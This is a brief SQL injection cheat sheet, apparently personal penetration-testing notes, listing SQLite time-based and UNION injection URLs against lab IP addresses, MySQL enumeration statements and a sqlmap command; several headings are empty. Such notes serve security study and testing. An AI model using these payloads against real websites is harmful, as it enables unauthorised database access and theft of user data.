SQL Injection
SQLite
Concat:
Select variable || variable1 as name from table
TimeBased:
http://192.168.140.52/debug.php?id=(SELECT%20LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))
UNION:
http://192.168.140.52/debug.php?id=1 UNION select * from users
list version:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
list tables:
http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables
list users:
code exec:
Useful commands:
LIMIT
UNION
Useful links:
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf
MySQL / MariaDB Enum
Show user permissions:
SHOW GRANTS;
Show tables:
SHOW TABLES;
Variables:
SHOW VARIABLES;
Oracle injection
SQL Map
Put into request - * specifies injection point:
sqlmap -r req.txt
Last updated
